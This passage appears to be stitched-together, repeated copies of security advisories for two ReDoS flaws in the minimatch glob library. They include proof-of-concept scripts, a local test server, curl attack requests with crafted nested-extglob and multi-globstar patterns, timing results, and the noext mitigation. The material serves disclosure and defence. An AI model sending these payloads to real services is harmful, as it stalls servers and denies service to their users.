  return { ms, result, error }
}

// Verify generated regexps
for (let depth = 1; depth <= 4; depth++) {
  let pat = 'a|b'
  for (let i = 0; i < depth; i++) pat = `*(${pat})`
  const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString()
  console.log(`depth=${depth} "${pat}" -> ${re}`)
}
// depth=1 "*(a|b)"          -> /^(?:a|b)*$/
// depth=2 "*(*(a|b))"       -> /^(?:(?:a|b)*)*$/
// depth=3 "*(*(*(a|b)))"    -> /^(?:(?:(?:a|b)*)*)*$/
// depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/

// Safe-length timing (exponential growth confirmation without multi-minute hang)
const cases = [
  ['*(*(*(a|b)))', 15],   // ~270ms
  ['*(*(*(a|b)))', 17],   // ~800ms
  ['*(*(*(a|b)))', 19],   // ~2400ms
  ['*(*(a|b))',    23],   // ~260ms
  ['*(a|b)',      101],   // <5ms (depth=1 control)
]
for (const [pat, n] of cases) {
  const t = timed(() => minimatch('a'.repeat(n) + 'z', pat))
  console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)
}

// Confirm noext disables the vulnerability
const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true }))
console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)

// +() is equally affected
const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))'))
console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)

Observed output:

depth=1 "*(a|b)"          -> /^(?:a|b)*$/
depth=2 "*(*(a|b))"       -> /^(?:(?:a|b)*)*$/
depth=3 "*(*(*(a|b)))"    -> /^(?:(?:(?:a|b)*)*)*$/
depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
"*(*(*(a|b)))" n=15: 269ms result=false
"*(*(*(a|b)))" n=17: 268ms result=false
"*(*(*(a|b)))" n=19: 2408ms result=false
"*(*(a|b))"    n=23: 257ms result=false
"*(a|b)"       n=101: 0ms result=false
noext=true: 0ms (should be ~0ms)
"+(+(+(a|b)))" n=18: 6300ms result=false

Step 2 -- HTTP server (event loop starvation proof)

Save as poc4-server.mjs:

import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'

const PORT = 3001
http.createServer((req, res) => {
  const url     = new URL(req.url, `http://localhost:${PORT}`)
  const pattern = url.searchParams.get('pattern') ?? ''
  const path    = url.searchParams.get('path') ?? ''

  const start  = process.hrtime.bigint()
  const result = minimatch(path, pattern)
  const ms     = Number(process.hrtime.bigint() - start) / 1e6

  console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`)
  res.writeHead(200, { 'Content-Type': 'application/json' })
  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
}).listen(PORT, () => console.log(`listening on ${PORT}`))

Terminal 1 -- start the server:

node poc4-server.mjs

Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:

curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &

Terminal 3 -- send a benign request while the attack is in-flight:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"

Observed output -- Terminal 2 (attack):

{"result":false,"ms":"64149"}

Observed output -- Terminal 3 (benign, concurrent):

{"result":false,"ms":"0"}

time_total: 63.022047s

Terminal 1 (server log):

[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz"
[2026-02-20T09:42:21.775Z] done in 64149ms result=false
[2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz"
[2026-02-20T09:42:21.779Z] done in 0ms result=false

The server reports "ms":"0" for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second time_total is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.

Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.


Impact

Any context where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.

Depth 3 (*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.

+() extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).

Mitigation available: passing { noext: true } to minimatch() disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.

๐Ÿšจ minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments

Summary

matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.


Details

The vulnerable loop is in matchOne() at src/index.ts#L960:

while (fr < fl) {
  ..
  if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) {
    ..
    return true
  }
  ..
  fr++
}

When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each ** multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).

There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning false on a non-matching input.

Measured timing with n=30 path segments:

k (globstars) Pattern size Time
7 36 bytes ~154ms
9 46 bytes ~1.2s
11 56 bytes ~5.4s
12 61 bytes ~9.7s
13 66 bytes ~15.9s

PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- inline script

import { minimatch } from 'minimatch'

// k=9 globstars, n=30 path segments
// pattern: 46 bytes, default options
const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b'
const path    = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'

const start = Date.now()
minimatch(path, pattern)
console.log(Date.now() - start + 'ms') // ~1200ms

To scale the effect, increase k:

// k=11 -> ~5.4s, k=13 -> ~15.9s
const k = 11
const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b'
const path    = Array(30).fill('a').join('/')
minimatch(path, pattern)

No special options are required. This reproduces with the default minimatch() call.

Step 2 -- HTTP server (event loop starvation proof)

The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:

// poc1-server.mjs
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'

const PORT = 3000

const server = http.createServer((req, res) => {
  const url = new URL(req.url, `http://localhost:${PORT}`)
  if (url.pathname !== '/match') { res.writeHead(404); res.end(); return }

  const pattern = url.searchParams.get('pattern') ?? ''
  const path    = url.searchParams.get('path') ?? ''

  const start  = process.hrtime.bigint()
  const result = minimatch(path, pattern)
  const ms     = Number(process.hrtime.bigint() - start) / 1e6

  res.writeHead(200, { 'Content-Type': 'application/json' })
  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
})

server.listen(PORT)

Terminal 1 -- start the server:

node poc1-server.mjs

Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:

curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &

Terminal 3 -- while the attack is in-flight, send a benign request:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"

Observed output (Terminal 3):

{"result":true,"ms":"0"}

time_total: 4.132709s

The server reports "ms":"0" -- the legitimate request itself takes zero processing time. The 4+ second time_total is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:

{"result":true,"ms":"0"}

time_total: 0.001599s

Impact

Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.

๐Ÿšจ minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments

Summary

matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.


Details

The vulnerable loop is in matchOne() at src/index.ts#L960:

while (fr < fl) {
  ..
  if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) {
    ..
    return true
  }
  ..
  fr++
}

When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each ** multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).

There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning false on a non-matching input.

Measured timing with n=30 path segments:

k (globstars) Pattern size Time
7 36 bytes ~154ms
9 46 bytes ~1.2s
11 56 bytes ~5.4s
12 61 bytes ~9.7s
13 66 bytes ~15.9s

PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- inline script

import { minimatch } from 'minimatch'

// k=9 globstars, n=30 path segments
// pattern: 46 bytes, default options
const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b'
const path    = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'

const start = Date.now()
minimatch(path, pattern)
console.log(Date.now() - start + 'ms') // ~1200ms

To scale the effect, increase k:

// k=11 -> ~5.4s, k=13 -> ~15.9s
const k = 11
const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b'
const path    = Array(30).fill('a').join('/')
minimatch(path, pattern)

No special options are required. This reproduces with the default minimatch() call.

Step 2 -- HTTP server (event loop starvation proof)

The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:

// poc1-server.mjs
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'

const PORT = 3000

const server = http.createServer((req, res) => {
  const url = new URL(req.url, `http://localhost:${PORT}`)
  if (url.pathname !== '/match') { res.writeHead(404); res.end(); return }

  const pattern = url.searchParams.get('pattern') ?? ''
  const path    = url.searchParams.get('path') ?? ''

  const start  = process.hrtime.bigint()
  const result = minimatch(path, pattern)
  const ms     = Number(process.hrtime.bigint() - start) / 1e6

  res.writeHead(200, { 'Content-Type': 'application/json' })
  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
})

server.listen(PORT)

Terminal 1 -- start the server:

node poc1-server.mjs

Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:

curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &

Terminal 3 -- while the attack is in-flight, send a benign request:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"

Observed output (Terminal 3):

{"result":true,"ms":"0"}

time_total: 4.132709s

The server reports "ms":"0" -- the legitimate request itself takes zero processing time. The 4+ second time_total is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:

{"result":true,"ms":"0"}

time_total: 0.001599s

Impact

Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.

๐Ÿšจ minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions

Summary

Nested *() extglobs produce regexps with nested unbounded quantifiers (e.g. (?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern *(*(*(a|b))) and an 18-byte non-matching input, minimatch() stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default minimatch() API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects +() extglobs equally.


Details

The root cause is in AST.toRegExpSource() at src/ast.ts#L598. For the * extglob type, the close token emitted is )* or )?, wrapping the recursive body in (?:...)*. When extglobs are nested, each level adds another * quantifier around the previous group:

: this.type === '*' && bodyDotAllowed ? `)?`
: `)${this.type}`

This produces the following regexps:

Pattern Generated regex
*(a|b) /^(?:a|b)*$/
*(*(a|b)) /^(?:(?:a|b)*)*$/
*(*(*(a|b))) /^(?:(?:(?:a|b)*)*)*$/
*(*(*(*(a|b)))) /^(?:(?:(?:(?:a|b)*)*)*)*$/

These are textbook nested-quantifier patterns. Against an input of repeated a characters followed by a non-matching character z, V8's backtracking engine explores an exponential number of paths before returning false.

The generated regex is stored on this.set and evaluated inside matchOne() at src/index.ts#L1010 via p.test(f). It is reached through the standard minimatch() call with no configuration.

Measured times via minimatch():

Pattern Input Time
*(*(a|b)) a x30 + z ~68,000ms
*(*(*(a|b))) a x20 + z ~124,000ms
*(*(*(*(a|b)))) a x25 + z ~116,000ms
*(a|a) a x25 + z ~2,000ms

Depth inflection at fixed input a x16 + z:

Depth Pattern Time
1 *(a|b) 0ms
2 *(*(a|b)) 4ms
3 *(*(*(a|b))) 270ms
4 *(*(*(*(a|b)))) 115,000ms

Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.


PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- verify the generated regexps and timing (standalone script)

Save as poc4-validate.mjs and run with node poc4-validate.mjs:

import { minimatch, Minimatch } from 'minimatch'

function timed(fn) {
  const s = process.hrtime.bigint()
  let result, error
  try { result = fn() } catch(e) { error = e }
  const ms = Number(process.hrtime.bigint() - s) / 1e6
  return { ms, result, error }
}

// Verify generated regexps
for (let depth = 1; depth <= 4; depth++) {
  let pat = 'a|b'
  for (let i = 0; i < depth; i++) pat = `*(${pat})`
  const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString()
  console.log(`depth=${depth} "${pat}" -> ${re}`)
}
// depth=1 "*(a|b)"          -> /^(?:a|b)*$/
// depth=2 "*(*(a|b))"       -> /^(?:(?:a|b)*)*$/
// depth=3 "*(*(*(a|b)))"    -> /^(?:(?:(?:a|b)*)*)*$/
// depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/

// Safe-length timing (exponential growth confirmation without multi-minute hang)
const cases = [
  ['*(*(*(a|b)))', 15],   // ~270ms
  ['*(*(*(a|b)))', 17],   // ~800ms
  ['*(*(*(a|b)))', 19],   // ~2400ms
  ['*(*(a|b))',    23],   // ~260ms
  ['*(a|b)',      101],   // <5ms (depth=1 control)
]
for (const [pat, n] of cases) {
  const t = timed(() => minimatch('a'.repeat(n) + 'z', pat))
  console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)
}

// Confirm noext disables the vulnerability
const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true }))
console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)

// +() is equally affected
const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))'))
console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)

Observed output:

depth=1 "*(a|b)"          -> /^(?:a|b)*$/
depth=2 "*(*(a|b))"       -> /^(?:(?:a|b)*)*$/
depth=3 "*(*(*(a|b)))"    -> /^(?:(?:(?:a|b)*)*)*$/
depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
"*(*(*(a|b)))" n=15: 269ms result=false
"*(*(*(a|b)))" n=17: 268ms result=false
"*(*(*(a|b)))" n=19: 2408ms result=false
"*(*(a|b))"    n=23: 257ms result=false
"*(a|b)"       n=101: 0ms result=false
noext=true: 0ms (should be ~0ms)
"+(+(+(a|b)))" n=18: 6300ms result=false

Step 2 -- HTTP server (event loop starvation proof)

Save as poc4-server.mjs:

import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'

const PORT = 3001
http.createServer((req, res) => {
  const url     = new URL(req.url, `http://localhost:${PORT}`)
  const pattern = url.searchParams.get('pattern') ?? ''
  const path    = url.searchParams.get('path') ?? ''

  const start  = process.hrtime.bigint()
  const result = minimatch(path, pattern)
  const ms     = Number(process.hrtime.bigint() - start) / 1e6

  console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`)
  res.writeHead(200, { 'Content-Type': 'application/json' })
  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
}).listen(PORT, () => console.log(`listening on ${PORT}`))

Terminal 1 -- start the server:

node poc4-server.mjs

Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:

curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &

Terminal 3 -- send a benign request while the attack is in-flight:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"

Observed output -- Terminal 2 (attack):

{"result":false,"ms":"64149"}

Observed output -- Terminal 3 (benign, concurrent):

{"result":false,"ms":"0"}

time_total: 63.022047s

Terminal 1 (server log):

[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz"
[2026-02-20T09:42:21.775Z] done in 64149ms result=false
[2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz"
[2026-02-20T09:42:21.779Z] done in 0ms result=false

The server reports "ms":"0" for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second time_total is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.

Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.


Impact

Any context where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.

Depth 3 (*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.

+() extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).

Mitigation available: passing { noext: true } to minimatch() disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.

๐Ÿšจ minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments

Summary

matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.


Details

The vulnerable loop is in matchOne() at src/index.ts#L960:

while (fr < fl) {
  ..
  if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) {
    ..
    return true
  }
  ..
  fr++
}

When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each ** multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).

There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning false on a non-matching input.

Measured timing with n=30 path segments:

k (globstars) Pattern size Time
7 36 bytes ~154ms
9 46 bytes ~1.2s
11 56 bytes ~5.4s
12 61 bytes ~9.7s
13 66 bytes ~15.9s

PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- inline script

import { minimatch } from 'minimatch'

// k=9 globstars, n=30 path segments
// pattern: 46 bytes, default options
const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b'
const path    = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'

const start = Date.now()
minimatch(path, pattern)
console.log(Date.now() - start + 'ms') // ~1200ms

To scale the effect, increase k:

// k=11 -> ~5.4s, k=13 -> ~15.9s
const k = 11
const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b'
const path    = Array(30).fill('a').join('/')
minimatch(path, pattern)

No special options are required. This reproduces with the default minimatch() call.

Step 2 -- HTTP server (event loop starvation proof)

The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:

// poc1-server.mjs
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'

const PORT = 3000

const server = http.createServer((req, res) => {
  const url = new URL(req.url, `http://localhost:${PORT}`)
  if (url.pathname !== '/match') { res.writeHead(404); res.end(); return }

  const pattern = url.searchParams.get('pattern') ?? ''
  const path    = url.searchParams.get('path') ?? ''

  const start  = process.hrtime.bigint()
  const result = minimatch(path, pattern)
  const ms     = Number(process.hrtime.bigint() - start) / 1e6

  res.writeHead(200, { 'Content-Type': 'application/json' })
  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
})

server.listen(PORT)

Terminal 1 -- start the server:

node poc1-server.mjs

Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:

curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &

Terminal 3 -- while the attack is in-flight, send a benign request:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"

Observed output (Terminal 3):

{"result":true,"ms":"0"}

time_total: 4.132709s

The server reports "ms":"0" -- the legitimate request itself takes zero processing time. The 4+ second time_total is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:

{"result":true,"ms":"0"}

time_total: 0.001599s

Impact

Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.

๐Ÿšจ minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions

Summary

Nested *() extglobs produce regexps with nested unbounded quantifiers (e.g. (?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern *(*(*(a|b))) and an 18-byte non-matching input, minimatch() stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default minimatch() API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects +() extglobs equally.


Details

The root cause is in AST.toRegExpSource() at src/ast.ts#L598. For the * extglob type, the close token emitted is )* or )?, wrapping the recursive body in (?:...)*. When extglobs are nested, each level adds another * quantifier around the previous group:

: this.type === '*' && bodyDotAllowed ? `)?`
: `)${this.type}`

This produces the following regexps:

Pattern Generated regex
*(a|b) /^(?:a|b)*$/
*(*(a|b)) /^(?:(?:a|b)*)*$/
*(*(*(a|b))) /^(?:(?:(?:a|b)*)*)*$/
*(*(*(*(a|b)))) /^(?:(?:(?:(?:a|b)*)*)*)*$/

These are textbook nested-quantifier patterns. Against an input of repeated a characters followed by a non-matching character z, V8's backtracking engine explores an exponential number of paths before returning false.

The generated regex is stored on this.set and evaluated inside matchOne() at src/index.ts#L1010 via p.test(f). It is reached through the standard minimatch() call with no configuration.

Measured times via minimatch():

Pattern Input Time
*(*(a|b)) a x30 + z ~68,000ms
*(*(*(a|b))) a x20 + z ~124,000ms
*(*(*(*(a|b)))) a x25 + z ~116,000ms
*(a|a) a x25 + z ~2,000ms

Depth inflection at fixed input a x16 + z:

Depth Pattern Time
1 *(a|b) 0ms
2 *(*(a|b)) 4ms
3 *(*(*(a|b))) 270ms
4 *(*(*(*(a|b)))) 115,000ms

Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.


PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- verify the generated regexps and timing (standalone script)

Save as poc4-validate.mjs and run with node poc4-validate.mjs:

import { minimatch, Minimatch } from 'minimatch'

function timed(fn) {
  const s = process.hrtime.bigint()
  let result, error
  try { result = fn() } catch(e) { error = e }
  const ms = Number(process.hrtime.bigint() - s) / 1e6
  return { ms, result, error }
}

// Verify generated regexps
for (let depth = 1; depth <= 4; depth++) {
  let pat = 'a|b'
  for (let i = 0; i < depth; i++) pat = `*(${pat})`
  const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString()
  console.log(`depth=${depth} "${pat}" -> ${re}`)
}
// depth=1 "*(a|b)"          -> /^(?:a|b)*$/
// depth=2 "*(*(a|b))"       -> /^(?:(?:a|b)*)*$/
// depth=3 "*(*(*(a|b)))"    -> /^(?:(?:(?:a|b)*)*)*$/
// depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/

// Safe-length timing (exponential growth confirmation without multi-minute hang)
const cases = [
  ['*(*(*(a|b)))', 15],   // ~270ms
  ['*(*(*(a|b)))', 17],   // ~800ms
  ['*(*(*(a|b)))', 19],   // ~2400ms
  ['*(*(a|b))',    23],   // ~260ms
  ['*(a|b)',      101],   // <5ms (depth=1 control)
]
for (const [pat, n] of cases) {
  const t = timed(() => minimatch('a'.repeat(n) + 'z', pat))
  console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)
}

// Confirm noext disables the vulnerability
const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true }))
console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)

// +() is equally affected
const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))'))
console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)

Observed output:

depth=1 "*(a|b)"          -> /^(?:a|b)*$/
depth=2 "*(*(a|b))"       -> /^(?:(?:a|b)*)*$/
depth=3 "*(*(*(a|b)))"    -> /^(?:(?:(?:a|b)*)*)*$/
depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
"*(*(*(a|b)))" n=15: 269ms result=false
"*(*(*(a|b)))" n=17: 268ms result=false
"*(*(*(a|b)))" n=19: 2408ms result=false
